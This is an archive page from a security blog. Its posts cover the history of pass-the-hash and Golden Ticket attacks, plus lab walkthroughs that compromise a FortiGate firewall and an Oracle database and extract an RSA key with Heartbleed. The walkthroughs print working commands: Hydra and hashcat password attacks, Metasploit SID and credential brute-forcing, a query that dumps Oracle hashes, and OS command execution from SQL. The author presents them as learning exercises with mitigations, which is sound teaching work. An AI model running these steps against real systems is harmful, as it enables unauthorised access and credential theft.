Category Archives: Incident Handling and Hacker Techniques

The path to the Golden Ticket

goldenticketLateral movement is one of the tactics used during an attack and is normally successfully due to some kind of credential theft that has happened at some point in time during the course of the attack. In order to materialize this  tactic there is a technique called pass-the-hash that has been used for long time. This was initially discovered by Paul Aston in 1997 on Unix SAMBA but became more mainstream in 2000 when Hernan Ochoa released a paper “Modifying Windows NT Logon Credential”. This technique evolved and it became very popular in 2007 when he released the Pass the Hash toolkit. This tool brought the pass-the-hash technique  mainstream because it could be easily executed on Windows systems. In the same year, Marcus Murray from TrueSec presented another tool during TechED that could leverage this same attack technique. Soon after that Ivan Bütler from Compass Security made an interesting paper about it. Also in the same year Benjamin Delpy `gentilkiwi` a French security researcher – less know at the time – released a tool called mimikatz.

The pass the hash attack takes advantage of cached credentials stored in the system which are used to authenticate to other resources in the network. Details are well explained by Skp Duckwall and Chris Campbell on their BlackHat 2013 paper “Microsoft has a credential problem” describing the issues that Microsoft has with credentials due to single sign on solutions that are in place which also affects smartcards For convenience and to improve customer experience, Microsoft behind the scenes implements different methods that allow a user to only type its username and password once. This permits the user to login into SharePoint, network shares, read email, etc without needed to constantly provide its credentials avoiding Mark Russinovich “credential fatigue” problem.  Outcome of this convenience is that credentials are cached. Meaning that using these type of technique,  the attacker with local admin or system privileges is able to retrieve the credentials from the process memory (LSASS) in a hash representation.  There are other places in storage where the credentials could be retrieved like the SAM database in a standalone environment or from the NTDS.dit file in an Active Directory domain. Then those password representations could be reused to spread across the network and increase attacker foothold. The usage of the some of the aforementioned tools are illustrated on SANS reading room on a paper from Bashar Ewaida.

Time has passed and in 2011 Hernan Ochoa strikes again by releasing a the evolution of the pass the hash toolkit into a new tool called Windows Credential Editor (WCE) which executes on 32bits and 64bits windows systems and can dump the NTLM/LM hashes of the credentials cached in the system by injecting into LSASS process or just by reading memory. The novelty was that  this tool introduced a new technique called pass the ticket which is the equivalent to the pass the hash but applied to the Kerberos tickets instead of NTLM/LM hashes. This technique is interesting because it can escalate the privileges on the attacker without cached credentials on the machine. Instead it can request Kerberos tickets that could be used for a period of 10 hours and be injected into an attacker session.

Also in 2011, Benjamin Delpy was able to demonstrate that not only password representations could be retrieved from memory but also the clear text passwords by taking advantage on how the credential provided for digest authentication works in Windows. For example If one user tries to authenticate to a website using the digest authentication method using a web browser it sends a computed hash trough the network. However, in order to compute this hash the digest credential provider (wdigest.dll) uses 3 elements and one is the password which means it needs to be stored in memory in order to be used.  Since then Benjamim has been further developing his research and mimikatz 2.0 is the last version of the tool focusing on Windows 2008R2 and 8.1. The tool has also been incorporated into Metasploit framework and it can also work offline by reading the LSASS memory dump that you can retrieve using process dump. This method was even incorporated as a plug-in of the memory forensics tool Volatility.

But Benjamim went even further with his research and he pleased the security community with the implementation of another novel technique that uses kerberos tickets to impersonate any user in the domain and defeat the 10 hours lifespan. This technique is known as the Golden Ticket (counterfeit Kerberos ticket) and takes advantage on the way Microsoft Kerberos implementation works and how it relies on the KRBTGT account. The secret key used to sign all Kerberos TGTs is the KRBTGT hash. This technique permits creating a valid Kerberos ticket that allows impersonation of any user in the Active Directory domain. If you have some time try the tool –   “The tool is great and It can extract plaintexts passwords, hash, PIN code and kerberos tickets from memory. mimikatz can also perform pass-the-hash, pass-the-ticket or build Golden tickets”

Why can’t Microsoft patch this problem? This works as designed and relies on current trust models. If you are logged in then the system has your credentials stored in memory to be used across the different credential providers to perform actions on behalf of the user and to facilitate single sign on. However, In order to mitigate the risk of this attack scenario, Microsoft created a taskforce called Pass the Hash workgroup that was mandated to identify tools, policies, best practices that companies could use to reduce the exposure to this attack. One of the outcomes of this taskforce were ways to mitigate the exposure to this attack that include restrict and protect high privileged credentials, restrict local accounts with administrative privileges and restrict inbound traffic on the host firewall. This and other recommendations are greatly explained in more detail in the white paper  “Mitigating Pass-the-Hash (PtH) Attacks and Other Credential Theft Techniques.

Many experts believe that a well-resourced and determined adversary will usually be successfully in attacking systems, even if the target has invested in its defensive posture. In case you might have been compromised and you were able to contain the damage, here are some recommendations on how to restore the active directory service to its state before the attack. Of course everyone wants to avoid these scenarios. One defense strategy that we (defense side) have is to continually increase the costs associated to executing the attack. The National Security Agency/Central Security Service. Information. Assurance. Directorate released a paper “Reducing the Effectiveness of Pass-the-Hash” that helps mitigates the exposure to this type of attack. The Computer Emergency Response Team (CERT-EU) for the EU institutions just released a white paper “Protection from Kerberos Golden Ticket” that contains good recommendations as well.

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Simple and Practical Attack – Part 2

Following my last post, where an attacker established an entry point to the perimeter infrastructure, the following scenario describes how he might increase its foothold.


Databases are a rich pot of information which makes them strong candidates to be targeted regularly by someone with Evil intentions.  Even if databases are behind firewalls and installed in hardened operating systems it is important to mention that access is allowed from Web tiers, business applications and other specialized tools that need to connect to the database making attacks possible. In this scenario I added two Windows 2008 Standard edition servers to the network environment described in part 1. One is an  active directory domain controller and primary DNS server.  The other is a database server running the popular Oracle Enterprise Edition version I created a database, configured Oracle Enterprise Manager and defined a listener on default port 1521.  With these components the environment was ready to perform tactics and techniques than an attacker might carry out in order to compromise a database. As result I could practice, learn and perform offensive techniques. Then, among other things I use this knowledge to create effective defenses and have some fun!

Because I am writing about databases and specially Oracle, the following brilliant individuals need to be mentioned David Litchfield, Alexander Polyakov, Alexander Kornbrust, Chris Anley, Slavik Markovich, Pete Finnigan and Paul Wright. A look at their books, articles or whitepapers for someone with interest in database security – especially in Oracle- is a must!

The steps described are the usual 5 steps that model an attack anatomy i.e., reconnaissance, scanning, exploit, keeping access and covering tracks . So, let’s start with scanning phase in order to find any open ports, which services are they offering and which operating systems are they running.

I started by launching Nmap to sweep the network and determine any open ports and services behind it.

root@linux:~# nmap -n -sV -Pn
Starting Nmap 6.40 ( ) at 2014-05-10 17:35 EDT
Nmap scan report for
Host is up (0.00043s latency).
Not shown: 999 filtered ports
113/tcp closed ident
Nmap scan report for
Host is up (0.00084s latency).
Not shown: 998 filtered ports
113/tcp closed ident
1521/tcp open oracle-tns Oracle TNS Listener

The scan report revealed 2 hosts . One of them has TCP port 1521 open and running Oracle TNS Listener. The Oracle TNS (Transparent Network Substrate) Listener is the interface for all communications with the Oracle database. On older version of Oracle it was possible to probe the TNS listener to find information about the database SID, version and other relevant information using tools like tnscmd10g created by Saez Scheihing. The service identified (SID) is important to discover because it is required to login. This is the first thing an attacker need to find out. To determine the SID a brute force attack can be launched. Several tools  and methods are available to do this. For convenience and simplicity I will stick with the powerful Metasploit exploit framework which contains a module called sid_brute that connects to the TNS listener in order to attempt to discover the SID. This module uses a list of well known Oracle SID’s from Alexander Kornbrust website.

msf > use auxiliary/admin/oracle/sid_brute 
msf auxiliary(sid_brute) > show options
Module options (auxiliary/admin/oracle/sid_brute):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 RHOST yes The target address
 RPORT 1521 yes The target port
 SIDFILE /opt/metasploit/apps/pro/msf3/data/wordlists/sid.txt.
 SLEEP 1 no Sleep() amount between each request.
msf auxiliary(sid_brute) > exploit
[*] Starting brute force on, 
using sids from /opt/metasploit/apps/pro/msf3/data/wordlists/sid.txt...
[+] Found SID 'ORCL'

This was easy to find because the SID was based on well known identifier that is used on default installations of Oracle. Next, I could try to login. When you install Oracle Database 11g Release 2 (11.2) all database accounts except SYS, SYSTEM DBSNMP and SYSMAN are locked.   During the installation you are prompted to create a password for these accounts that should be at least 8 characters in length, contain at least 1 uppercase character, 1 lower case character and 1 digit. However, this is not mandatory  and passwords such as “password” can be set.  By default the accounts also contain a default profile that locks the user accounts after 10 failed login attempts for the duration of 1 day.  Besides that,  the accounts credentials are case insensitive including the passwords. So, this is the second challenge – to find username/password combination – and can be resolved by using another Metasploit module called oracle_login. This module uses a list of well known Oracle default credentials from Pete Finnigan website to discover easily guessed accounts.

msf auxiliary(sid_brute) > use auxiliary/admin/oracle/oracle_login 
msf auxiliary(oracle_login) > show options
Module options (auxiliary/admin/oracle/oracle_login):
 Name Current Setting Required Description
 ---- --------------- -------- -----------
 CSVFILE /opt/metasploit/apps/pro/msf3/data/wordlists/oracle_default_passwords.csv.
 RHOST yes The Oracle host.
 RPORT 1521 yes The TNS port.
 SID ORCL yes The sid to authenticate with.
[*] Starting brute force on
[*] Found user/pass of: sysman/sysman on with sid ORCL
[*] Auxiliary module execution completed

Once again, it was easy to find because the Oracle default installation contains many default user/password combinations. Is fair to write that DBA’s have higher priorities such as performance and availability and often the security is left behind resulting in weak controls. Reviewing the security posture of your databases should be done by someone who understands security.

By knowing this, I could gain access to the database using the traditional SQL*Plus client.  Next, I would run a set of queries that would allow me to get more insight about the version of the database, which accounts are part of the DBA role and get the password representation for the users – this and other queries are compiled on the Red Team Field Manual.

root@linux:~# sqlplus sysman/sysman@//
SQL*Plus: Release - Production on Sat May 10 19:54:41 2014
Copyright (c) 1982, 2007, Oracle. All Rights Reserved.
Connected to:
Oracle Database 11g Release - Production
SQL> select * FROM v$version;
Oracle Database 11g Enterprise Edition Release - Production
PL/SQL Release - Production
CORE Production
TNS for 32-bit Windows: Version - Production
NLSRTL Version - Production
SQL> select distinct grantee from dba_sys_privs where admin_option = 'YES';
SQL> select user from dual;
SQL> select name,password,astatus from sys.user$;
------------------------------ ------------------------------ ----------
SYS 92F9365E5CAB72B0 0
SYSMAN 447B729161192C24 0
93 rows selected.

New versions of Oracle keep the password representation in SHA-1 algorithm but in this case the traditional method is still enforced which uses a DES encryption algorithm without real salt and can be brute forced in a timely manner.  So, with valid credentials and their respective hashes I could attempt to crack them in order to gain DBA access. Next, I launched an offline dictionary attack against the hashes using John the Ripper – An old timer, extremely flexible and powerful password cracking tool written by Alexander Peslyak (Solar Designer). The hashes need to be in a format that JtR understands it as being oracle hashes.

root@linux:~# cat oracle.hash 
root@linux:~# john oracle.hash --wordlist=/usr/share/wordlists/fasttrack.txt
Loaded 2 password hashes with 2 different salts (Oracle 10 DES [32/32])
JACKP0T! (?)
JACKP0T! (?)
guesses: 2 time: 0:00:00:00 DONE (Sun May 25 13:39:25 2014) c/s: 25.00 trying: JACKP0T!
Use the "--show" option to display all of the cracked passwords reliably

With this the database its data is fully owned by the attacker!

root@linux:~# sqlplus sys/'Jackp0t!@// as sysdba

SQL*Plus: Release – Production on Sat May 10 19:54:41 2014 Copyright (c) 1982, 2007, Oracle. All Rights Reserved. Connected to: Oracle Database 11g Release – Production SQL>

The attacker could now fully access to the database contents. This contents could be any kind of intellectual property or personal identifiable information that an attacker would attempt to steal. This is potentially the his end goal.

However, following this I could weaponize the access to interact with the operating system and further continue my exploit actions. To interact with the database there are different methods that are great explained in the books and articles from the mentioned researchers. Some of them are based on procedural programming language known as PL/SQL. Packages like  UTL_FILE for File access and DBMS_SCHEDULER allow to execute shell command. Others are based on Java. Carsten Czarsk created a set of PLSQL packages based on Java for Oracle which provide access to the OS shell and the file system from SQL. The packages provide operations on files  as well as the execution of shell commands.  This package to be successfully installed needs Java Virtual Machine which is embedded in the database by default. After installation in order to be able to execute the Java functions and procedures  you will need appropriate privileges. To set this privileges you need DBA rights, but as illustrated earlier gaining such privileges is not difficult. After downloading the package, unzip it and install it.

root@kali:~/tmp# unzip
root@kali:~/tmp# cd src/11g/
root@kali:~/tmp/src/11g# sqlplus system/oracle@//
SQL*Plus: Release - Production on Thu May 29 10:50:42 2014
SQL> select comp_name, version from dba_registry where comp_name like '%JAVA%';
JServer JAVA Virtual Machine

Next, by invoking the install.sql script the PL/SQL package will be installed. Following  that, appropriate Java permissions and an additional statement needed for Windows system are executed.

SQL> start "install.sql"
** 1. Installing Java Code ...**
** 2. PL/SQL Package Specs**
** 3. PL/SQL Package Bodys**
No errors.
SQL> begin
-- this grants read privilege on STDIN
grantee => 'SYSTEM',
permission_type => 'SYS:java.lang.RuntimePermission',
permission_name => 'readFileDescriptor',
permission_action => null
-- this grants write permission on STDOUT
grantee => 'SYSTEM',
permission_type => 'SYS:java.lang.RuntimePermission',
permission_name => 'writeFileDescriptor',
permission_action => null
-- this grants execute privilege for ALL shell commands: VERY DANGEROUS!
grantee => 'SYSTEM',
permission_type => '',
permission_name => '<<ALL FILES>>',
permission_action => 'execute'
PL/SQL procedure successfully completed.
Elapsed: 00:00:00.91
SQL> begin
PL/SQL procedure successfully completed.
Elapsed: 00:00:00.24
set long 20000


Now, I could execute OS commands with access to STDIN, STDOUT and many other things. I started by executing the OS_COMMAND package that allows  shell commands execution from the SQL engine.  First by launching the “ver” command that outputs the version of windows the database is running on. Next, I executed a “dir” and I could see that the directory contents of the Oracle folder were shown. Many other commands can now be used in order to gain advantage and further compromise the system. I will leave the journey from getting down from the Database to the Operating system level using other tools and techniques on part 3!


SQL> select os_command.exec_clob('ver') from dual;
Microsoft Windows [Version 6.0.6001]

SQL> select os_command.exec_clob('dir') from dual;
 Volume in drive C has no label.
 Volume Serial Number is 4426-F394
 Directory of C:\app\product\11.2.0\dbhome_1\DATABASE
 05/22/2014 12:43 PM <DIR> .
 05/22/2014 12:43 PM <DIR> ..
 05/22/2014 12:38 PM <DIR> archive
 05/22/2014 12:40 PM 2,048 hc_orcl.dat
 12/22/2005 05:07 AM 31,744 oradba.exe
 05/25/2014 09:05 AM 1,536 PWDorcl.ora
 05/25/2014 10:03 AM 2,560 SPFILEORCL.ORA
 4 File(s) 37,888 bytes
 3 Dir(s) 47,146,033,152 bytes free


That’s it for now! Let’s summarize the mistakes made by so one perhaps learn from their errors and omissions.

Mistake #1 – was using the Oracle default SID. With this knowledge an attacker could attempt to connect to the database. The SID was easily guessed using Metasploit and a dictionary attack using well known SIDs. should consider applying a strong SID which contains the same characteristics as a strong password and not based on a dictionary word.

Mistake #2 :  A common username/password combination based on dictionary with default account lock-out settings was used. This made an dictionary based attack easy to pull off using Metasploit. should consider applying as countermeasure to prevent such attacks a strong password or pass-phrase. Make sure is at least 12 characters long with a combination of numbers, upper and lower case letters plus special characters. Furthermore, passwords should be changed often. Other than that whenever possible leverage the possibility to authenticate database administrators using the Operating System or external systems.

Mistake #3 : Ville was not using the latest patches and security recommendations from Oracle. Patching is one of the most effective recommendations that someone should take. By using an outdated system the DBA exposed all user accounts due to an old encryption algorithm (DES) that can be easily brute forced using John the Ripper. Oracle releases Critical Patch Updates on January, April, July and October on the Tuesday closest to the 17th day of the month. By enforcing latest Oracle recommendations the passwords should have been stored on the database using strong algorithms such as SHA-1 with salt.

Mistake #4 : was not using any kind of central logging system that would allow one to easily identify abnormal activity in the database. This allows the attacker who gained DBA privileges to tamper with the audit trails. By using a central logging system it would allow a diligent sysadmin to do log review and identify abnormal activity even in case the attacker would attempt to cover its tracks. In addition appropriate audit should be implemented at database and operating system level that would allow a normal routine check to expose the attacker.  By default Oracle databases do not audit SQL commands executed by the privileged SYS, and users connecting with SYSDBA or SYSOPER privileges which means this are going to be the attackers first choice.

Many other great recommendations on how to secure Oracle are provided directly by Oracle on their security guide and by the folks mentioned in the beginning of this article.

Even though there are plenty of books and open source information that describe the methods and techniques demonstrated, the environment was built from scratch and allows to learn or reinforce techniques.  The tools and tactics used are not new. However, they are relevant and used in today’s attacks. Likewise, one can learn, practice and look behind the scenes to better know them and the impact they have. Part III will follow with more steps and how an attacker might strengthen its position and move laterally.

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Simple and Practical Attack – Part 1

This weekend I got some time off and decided to build a small network environment that represented real-world security issues and their respective flaws.   I may well use this environment to perform tactics and techniques than an attacker might carry out in order to compromise a target. As result I could practice, learn and perform offensive techniques. Then, among other things I use this knowledge to create effective defenses and have some fun!

To get the environment ready I used a refurbished Fortigate 100 box running FortiOS 4.0 . I only configured the basic settings such as IP addresses, routing, admin user and basic firewall rules allowing management access from Internet. I left the remaining settings by default. The setup consisted of a single-arm DMZ. The wan port connected to the internet and the internal port connected to the internal network.  After having the network in place I needed an arsenal of tools that allowed me to perform offensive techniques. Kali Linux was my choice because this distribution brings the tools needed to execute the steps an intruder will eventually perform during an attack. This machine was positioned in the wan side of the setup.

With the environment ready I could start. The admirable Ed Skoudis describes the anatomy of an attack as a 5 step model. The steps are reconnaissance, scanning, exploit, keeping access and covering tracks .

So, let’s start with scanning phase. By knowing your target you can go directly into the scanning phase.  Here the goal is to find any open ports, which services are they offering and which operating systems are they running.

To do this I used the well known and very popular open source tool for network exploration and security auditing called Nmap created by Fyodor. This tool is so popular that was even briefly shown in movies like Elysium where it is used to port scan Matt Damon’s augmented brain before transferring the data he carries in an attempt to hack the space station. Or The Matrix Reloaded, where Trinity scanned the city power grid to find a vulnerable SSH server.

Fiction apart, I started by launching Nmap using the TCP connect technique (-sT) which performs a 3 way handshake to verify if a TCP port is opened. Skipped DNS resolution (-n) and skipped host discovery (-Pn) which is used to determine if a host is alive in order to optimize the speed when scanning large volume of IP addresses.

The output resulted in two open TCP ports. Then I used this knowledge and executed the next scan in order to determine the service behind the open ports (-sV). This scan was able to tell that the service running on TCP port 443 was a Fortgate firewall http config.

root@linux:~# nmap -n -sT -Pn
Starting Nmap 6.40 ( ) at 2014-05-11 14:45 EDT
Nmap scan report for
Host is up (0.00058s latency).
Not shown: 997 filtered ports
22/tcp  open  ssh
443/tcp open  https
Nmap done: 1 IP address (1 host up) scanned in 6.26 seconds
root@linux:~# nmap -n -sV -Pn -p 443
Starting Nmap 6.40 ( ) at 2014-05-11 14:45 EDT
Nmap scan report for
Host is up (0.00022s latency).
443/tcp open  ssl/http Fortinet FortiGate 50B or FortiWifi 80C firewall http config
Service Info: Device: firewall; CPE: cpe:/h:fortinet:fortiwifi:80c
Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 12.62 seconds

Now that I had knowledge about the end system the next step was to gain access.  Gaining access to a particular system depends on several factors including the architecture, its configuration and the level of access. In this case I had access to the management interface of the firewall so I could try to break in.

When connecting to the TCP port 443 using HTTPS, I was presented with the login page.  Here I could try to guess the default password, but FortiOS does not has a default password. By reading the vendor documentation I knew the administrator is prompted to change his password during the initial configuration. I also assumed the user name was “admin” because it is unusual to change this user. So, I only needed the password. To achieve this I used a technique to do login attempts using a list of common passwords. However, this could easily become an issue because by default when the admin user fails 3 consecutive attempts, the Fortigate will lock the account for 60s. In a small business environments where the systems are normally configured by one person who is overloaded and responsible to get the job done for the all IT systems this is likely not to be changed because there are more important things to do. Even though this slows down an attacker, it does not stop him from trying.  The other thing is that by default these small Fortigate appliances don’t log system or traffic related stuff into memory and because they do not contain a hard disk one will miss important system log related information. This is an advantage for the attacker who could slip under the radar. This could be easily corrected by a diligent sysadmin using a syslog server or a similar monitoring system.

So, next I needed to know how was the HTTP authentication mechanism constructed. In order to understand how the front-end authentication mechanism worked I accessed the URL through the lens of a proxy like Paros. In this case I used Firefox tamper plugin data which allows access to the details needed. I could see that the authentication uses an HTTP POST request with a set of parameters submitted in clear text. These were all the ingredients needed to launch an automated brute force login attempt.


Looking at my arsenal of tools I decided to use THC Hydra written by van Hauser. A great tool that can guess passwords in a very fast fashion across many different network services. This tool is more than 10 years old and version 8.0 was just released.

So, I used Hydra to perform a dictionary based attack against using the https-form module.  To get a help page for this or any other modules on hydra,  one can use -U e.g., hydra https-post-form -U.

The command line might look a little cryptic in the beginning but it consists of:

  • <url>:<form parameters>:<condition string> .

Url is the /loginpage. Then the form parameters are the POST parameters captured using Firefox tamper data tool. The username and secretkey parameters have their values replaced by the “^USER^” and “^PASS^” which allows Hydra to substitute it to whatever word it would read from the dictionary. Then follows a condition string to check how a successful login will look like. In this case if an authentication request is successful the HTTP response will contain a Set-Cookie header. Then a static user is used (-l admin) following a dictionary list of words to be used as passwords (-P /usr/share/wordlists/fasttrack.txt). The other parameters are : show login and password combination (-V), exit after the first found login/password pair (-f), execute a task with 3 connections in parallel (-t 3) and wait 61s between each connection task.

A task consisting of 3 connections attempt with a pause of 61s between each task was chosen in order to avoid the account to be locked using the default Fortigate admin lock threshold settings. Of course this will be very time consuming exercise and might require weeks or months to find a password using a big wordlist.  However, in this case Hydra was able to found a password after 30m due to a common password.

root@linux:~# hydra https-post-form "/logincheck:username=^USER^&secretkey=^PASS^&ajax=1:S=Set-Cookie"
-l admin -P /usr/share/wordlists/fasttrack.txt -V -f -t 3 -W 61
Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only
Hydra ( starting at 2014-05-17 18:22:54
[DATA] 3 tasks, 1 server, 126 login tries (l:1/p:126), ~42 tries per task
[DATA] attacking service http-post-form on port 80
[ATTEMPT] target - login "admin" - pass "P@55w0rd!" - 34 of 126 [child 0]
[ATTEMPT] target - login "admin" - pass "P@ssword!" - 35 of 126 [child 2]
[ATTEMPT] target - login "admin" - pass "Password!" - 36 of 126 [child 1]
[STATUS] 1.64 tries/min, 36 tries in 00:22h, 90 todo in 00:56h, 3 active
[STATUS] 1.57 tries/min, 36 tries in 00:23h, 90 todo in 00:58h, 3 active
[80][www-form] host:   login: admin   password: P@55w0rd!
[STATUS] attack finished for (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra ( finished at 2014-05-17 18:46:29

Next, with access to the system I might want to continue exploiting other systems to find valuable information such as other passwords in the system which might allow me to establish foothold and strengthen my position. With access to the system I could look to see any other users which were configured in the system.


FG100A# get system admin
name: admin
name: JulesArgent
name: ColeGannon
name: DoubleTrouble
FG100A # show system admin admin
  set password ENC AK1VW7boNstVjM36VO5a8tvBAgUJwLjryl1E+27F+lOBAE=
FG100A # show system admin ColeGannon
   set password ENC AK1OtpiTYJpak5+mlrSoGbFUU60sYMLvCB7o/QOeLCFK28=
FG100A # show system admin DoubleTrouble
  set password ENC AK1P6IPcOA4ONEoOaNZ4xHNnonB0q16ZuAwrfzewhnY4CU=

Then, with valid credentials and their respective hashes I could attempt to crack them.. To accomplish this, I launched an offline dictionary attack followed by a brute force attack against the hashes using Hashcat - An extremely fast and powerful password cracking tool made by Atom. The command was executed to run a dictionary attack (-a 0) with the hashing algorithm type Fortinet (-m 7000) using the well known rockyou wordlist containing over 14 million passwords.

root@kali:/tmp# hashcat -a 0 -m 7000 ville.hash /usr/share/wordlists/rockyou.txt
Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size...
Added hashes from file fortinet: 3 (3 salts)
NOTE: press enter for status-screen
Input.Mode: Dict (/usr/share/wordlists/rockyou.txt)
Index.....: 5/5 (segment), 553080 (words), 5720149 (bytes)
Recovered.: 2/3 hashes, 2/3 salts
Speed/sec.: 8.10M plains, 8.10M words
Progress..: 553080/553080 (100.00%)
Running...: --:--:--:--
Estimated.: --:--:--:--
Started: Sat May 17 13:44:34 2014
Stopped: Sat May 17 13:44:38 2014

This attack is very effective and fast. But, not all passwords are on the dictionary file. As result I could continue with a brute force technique to pursue the extraction of remaining password. The second command was executed to run a brute force attack (-a 3) with the hashing algorithm type Fortigate (-m 7000) and to try using a charset that contains all upper-case letters, all lower-case letters and all digits (?a) for the maximum size of 9 characters.  In a matter of days/weeks the password could be broken.

root@kali:/tmp# hashcat -a 3 -m 7000 ville.hash ?a?a?a?a?a?a?a?a?a --pw-min=1

Initializing hashcat v0.47 by atom with 8 threads and 32mb segment-size...
Added hashes from file fortinet: 1 (1 salts)
Activating quick-digest mode for single-hash with salt
NOTE: press enter for status-screen
Input.Mode: Mask (?a?a?a?a?a) [5]
Index.....: 0/1 (segment), 7737809375 (words), 0 (bytes)
Recovered.: 0/1 hashes, 0/1 salts
Speed/sec.: - plains, 21.54M words
Progress..: 1284549568/7737809375 (16.60%)
Running...: 00:00:00:59
Estimated.: 00:00:04:59

Now, lets summarize the mistakes made by so one perhaps learn from their errors and omissions.

Mistake #1 – was not filtering incoming traffic to the management interface of its firewall. By allowing any IP address from the Internet to connect to the management interface was exposed to a variety of attacks. A Nmap scan easily revealed the open ports and services associated with the ports. If there is a strong reason for someone to be able to do remote administration then the system should be configured with a list of trusted hosts and its configuration should be reviewed by someone who understands security.

Mistake #2 :  A common password based on dictionary with default account lock-out settings was used. This made an dictionary based attack easy to pull off using THC Hydra tool. should consider applying as countermeasure to prevent such attacks a strong password or pass-phrase. Make sure is at least 12 characters long with a combination of numbers, upper and lower case letters plus special characters. Furthermore, passwords should be changed often. Other than that whenever possible use a second factor authentication methods such as Token, SMS or e-mail.

Mistake #3 : was not using any kind of central logging system that would allow one to easily identify the password guessing attack. Further would allow a diligent sysadmin to do log review and identify abnormal activity even in case the attacker would attempt to cover its tracks.

Even though there are plenty of books and open source information that describe the methods and techniques demonstrated, the environment was built from scratch and allows to learn or reinforce techniques.  The tools and tactics used are not new. However, they are relevant and used in today’s attacks. Likewise, one can learn, practice and look behind the scenes to better know them and the impact they have. Part II will follow with more steps and how an attacker might increase its foothold , strengthen its position and move laterally.


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Heartbleed – Got prime number?

I would like to demonstrate a hand’s on scenario that will allow one to have a better practical understanding on how someone could exploit the OpenSSL bug known as Heartbleed to retrieve the server RSA private key which is used to encrypt the SSL/TLS communications. The environment consists of 2 virtual machines. The victim is running Ubuntu 12.04-4  and the Evil is running Kali Linux. On the victim machine I installed Apache with SSL and created a self signed certificate by issuing the following command:.

root@ubuntu:~#openssl req -x509 -nodes -days 365 -newkey rsa:1024 
-keyout /etc/apache2/ssl/apache.key -out /etc/apache2/ssl/apache.crt

The versions of Apache and OpenSSL are as follow:

root@ubuntu:~# uname -srvnmapi
Linux ubuntu 3.11.0-15-generic #25~precise1-Ubuntu SMP
 Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
root@ubuntu:~# openssl version -a
OpenSSL 1.0.1 14 Mar 2012
root@ubuntu:~# apache2ctl status
Server Version: Apache/2.2.22 (Ubuntu) PHP/5.3.10-1ubuntu3.9 with Suhosin-Patch
mod_ssl/2.2.22 OpenSSL/1.0.1

On the Evil machine I download the Heartbleed exploit tool that was initially created by Jared Stafford and later modified by SensePost. This modified version of the Heartbleat exploit tool allows to dump 65k of data from the server heap memory. This 65k of data among other sensitive information might contain information about the private RSA key used in the SSL/TLS protocol.

In order to give you more background, essentially, the difficulty of RSA rests on the mathematical problem of factoring large numbers into its prime factors.  When generating RSA keys the system starts by generating two large primes, P and Q, and compute their product N = PxQ. N is called the modulos. The following picture shows the various components that constitute a private RSA key and a X.509 certificate with a RSA public key.


The exploit tool is able to search and extract one of the prime numbers from the leaked data. Because the modulus is public, if you know one prime number you can deduct the other one.  We start by downloading the public certificate from the website and saving is as apache.crt

root@kali# echo | openssl s_client -connect 2>/dev/null | openssl x509

We then launch the tool. As parameters we specify the IP address of the vulnerable website and its public certificate that was retrieved with the previous command. The tool uses the public certificate to retrieve its modulus which is then used to search for a prime number.

root@kali# ./ apache.crt
Using modulus: DA180F8241054B11C2C285B26E79B66B0BFCC81137B9134F192DA383D3
Using key size: 64
Scanning on port 443
Sending Client Hello...
Waiting for Server Hello...
Server sent server hello done
Server TLS version was 1.2
Sending heartbeat request...
Got length: 16384
 ... received message: type = 24, ver = 0302, length = 65551
Received heartbeat response:
Got result:
found prime: 0xfefd816751054d08836aca2c5cfce8bc68cfc22cfc13b706ecb59ddb9

Winner winner chicken dinner! We got a prime number.  Now that we know one of the primes’ number and the modulus we just need to compute the other prime number and generate the private key. To compute the second prime number we just divide the modulus by the prime number. Then we execute a tool called rsatool made by Joerie de Gram which can calculate the key given two prime numbers.

For the sake of brevity we will skip these steps but basically you can do it all in the command line as shown in the following figure. Or you could use CrypTool on windows.


Following that we just need to execute the rsatool and provide the two prime numbers in order to generate the private key. The rsatool can be downloaded here. You might need to install Gmpy but the detailed instructions to do that are here.

root@kali# python -p 1335492333462949787732219655309901759698
6199325720394785771138007056207461090554397 -q 1146774128500603561764050
9697566790924903103501535799885761545468408467346567363797 -n 1531508056
65516965409 -o apache-recovered.key
Using (p, q) to initialise RSA instance
Saving PEM as apache-recovered.key

Now that we got the private key how can we test it that is valid? Among others, one thing we could easily do is to digitally sign a file with the original private key and verify its signature with the recovered public key.

Let’s first sign a file in the victim machine.

root@ubuntu# echo "Sign this piece of information" > filename
root@ubuntu# openssl dgst -md5 -sign apache.key -out signature filename

Then in the Evil system we could verify it using the recovered public key which means we possess the private key.

root@kali# openssl rsa -in apache-recovered.key -pubout >
root@kali# openssl dgst -md5 -verify -signature signature filename
Verified OK

Among other things we could pull of a man-in-the-middle attack and decrypt the SSL traffic using the recovered key. As you could see almost no knowledge is needed to run this exploit against a vulnerable server but its consequences are severe. For sure many companies are still recovering from the OpenSSL vulnerability and many others will benefit from doing lessons learned on how to improve their incident handling capability in order to be better prepared for such worst case scenarios. This has been a serious bug and you might want to consider changing your passwords in case you have an account in the following sites. If you own a website or any other service that uses OpenSSL like OpenVPN you want to patch it now! Certificates and keys at risk of compromise should be revoked and replaced. One interesting consequence of this bug was the amount of certificates that have been revoked in the last days.

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Finding Evil on my Wife’s Laptop – Part II

[The first part of this article described the steps needed to do a live memory acquisition of a potentially compromised system using a free tool called Redline - version 1.11.1 -. In this case the system was my wife's computer which had been complaining about the slowness of her system for quite some time. With the memory image done, I could start a full investigation with Redline and look for known threats hits against IOCs. ~Luis]

Back in February 2013, Mandiant released a unique report called APT1, Exposing One of China’s Cyber Espionage Units. This report is a must read for everyone in the security industry. It  exposed detailed evidence about a cyber espionage campaign that has been claimed to be carried out by the Chinese government.  The report is full of details, very well written and contains massive tactical intelligence. In two weeks following its release it generated a lot of comments and research. One important aspect of this report was that Mandiant released a separate appendix which contains huge number of indicators such as domain names, IP addresses, SSL certificates and MD5 hashes. The appendix can be downloaded here. The appendix C – The Malware Arsenal contains full details about the discovered malware capabilities including description, registry keys, mutex names, C&C addresses and others in a very structural fashion.  The appendix G – IOCs contains the indicators of compromise in OpenIOC format that can be imported into Redline to find Evil.


Basically, what I did was to import those digital artifacts in OpenIOC format into Redline and then analyze the memory image to find matches.
First, I opened the Redline tool and selected to open a recent analysis session – which was done in part I -.  Then clicked on the top left M button and selected Session information.


